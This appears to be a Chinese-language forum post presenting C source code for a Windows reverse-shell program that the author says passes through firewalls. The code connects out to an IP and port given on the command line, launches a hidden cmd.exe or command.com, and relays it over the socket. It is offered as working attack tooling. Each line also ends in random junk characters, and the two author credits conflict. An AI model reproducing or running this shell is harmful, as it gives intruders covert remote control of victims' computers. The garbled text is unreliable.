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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0f_+h %%=  
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/* ============================== _DDknQP  
Rebound port in Windows NT |_6V+/?"?`  
By wind,2006/7 UO1WtQyu,H  
===============================*/ 9#;GG3  
#include !g`^<y!  
#include l+ ,p=  
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#pragma comment(lib,"wsock32.lib") m{v*\e7 P  
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void OutputShell(); v3*y43  
SOCKET sClient; JJQS7,vG  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; KD<smwXjG  
C {*' p+f  
void main(int argc,char **argv) 04j]W]8#  
{ mi';96  
WSADATA stWsaData; !=3Ce3-  
int nRet; OGR2Y  
SOCKADDR_IN stSaiClient,stSaiServer; v 1.8]||^  
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if(argc != 3) f 0|wN\  
{ %&5PZmnW  
printf("Useage:\n\rRebound DestIP DestPort\n"); 1PN!1=F}  
return; 3 0.&Lzz  
} ^\f1zg9I  
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WSAStartup(MAKEWORD(2,2),&stWsaData); e0$.|+  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mB5Sm|{  
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stSaiClient.sin_family = AF_INET; n~Yr`5+Z  
stSaiClient.sin_port = htons(0); KY'x;\0 g  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); e~ZxDAd  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?u4t;  
{ V<i_YLYmJe  
printf("Bind Socket Failed!\n"); r [E4/?_  
return; *}'3|e4w}  
} edL sn>\*#  
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stSaiServer.sin_family = AF_INET; KIGMWS^^  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "!9FJ Y  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ;U&~tpd  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .O&[9`"'  
{ )B9/P>c  
printf("Connect Error!"); ;r BbLM`  
return; M#.dF{ %%  
} !DkIM}.  
OutputShell(); m2\[L/W]  
} 2[CHiB*>  
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void OutputShell() "!R*f $  
{ oi7Y?hTj  
char szBuff[1024]; v[\GhVb  
SECURITY_ATTRIBUTES stSecurityAttributes;  (,R\6  
OSVERSIONINFO stOsversionInfo; Hbl&)!I  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0C4Os p  
STARTUPINFO stStartupInfo; \HL66%b[  
char *szShell; s[;1?+EI  
PROCESS_INFORMATION stProcessInformation; T[- %b9h>  
unsigned long lBytesRead; [ e#[j{  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w :9M6+mM^  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Zm vtUma  
stSecurityAttributes.lpSecurityDescriptor = 0; tN;^{O-(V  
stSecurityAttributes.bInheritHandle = TRUE; ao"Z%#Jb~  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); uMjL>YLq{?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); e> Dux  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }_D{|! !!T  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qOAhBZ~  
stStartupInfo.wShowWindow = SW_HIDE; bsc#Oq]  
stStartupInfo.hStdInput = hReadPipe; %ed TW[C`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; d*$x|B|V  
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GetVersionEx(&stOsversionInfo); W~5gTiBZ]  
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switch(stOsversionInfo.dwPlatformId) F(`Q62o@  
{ %reW/;)l{  
case 1: (!a\23  
szShell = "command.com"; . |`)k  
break; Ky*xAx:  
default: cqp^**s  
szShell = "cmd.exe"; Lr Kx  
break; ;x&3tN/I  
} X;v{,P=J  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); X7SSTcA   
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send(sClient,szMsg,77,0); /U>8vV+C  
while(1)  nyZ?m  
{ !lKDNQ8>["  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @"iNjqxh  
if(lBytesRead) r<;Y4<,BZ  
{ =H"%{VeC5  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %5;kNeD\Fq  
send(sClient,szBuff,lBytesRead,0); sA }X)aP  
} )5TX3#=;(G  
else \rCdsN2H  
{ 5;[0Q  
lBytesRead=recv(sClient,szBuff,1024,0); nb@<UbabW}  
if(lBytesRead<=0) break; 0.#% KfQ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s%?<:9  
} +EZr@  
} 7A  
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return; pe+m%;nzR  
}
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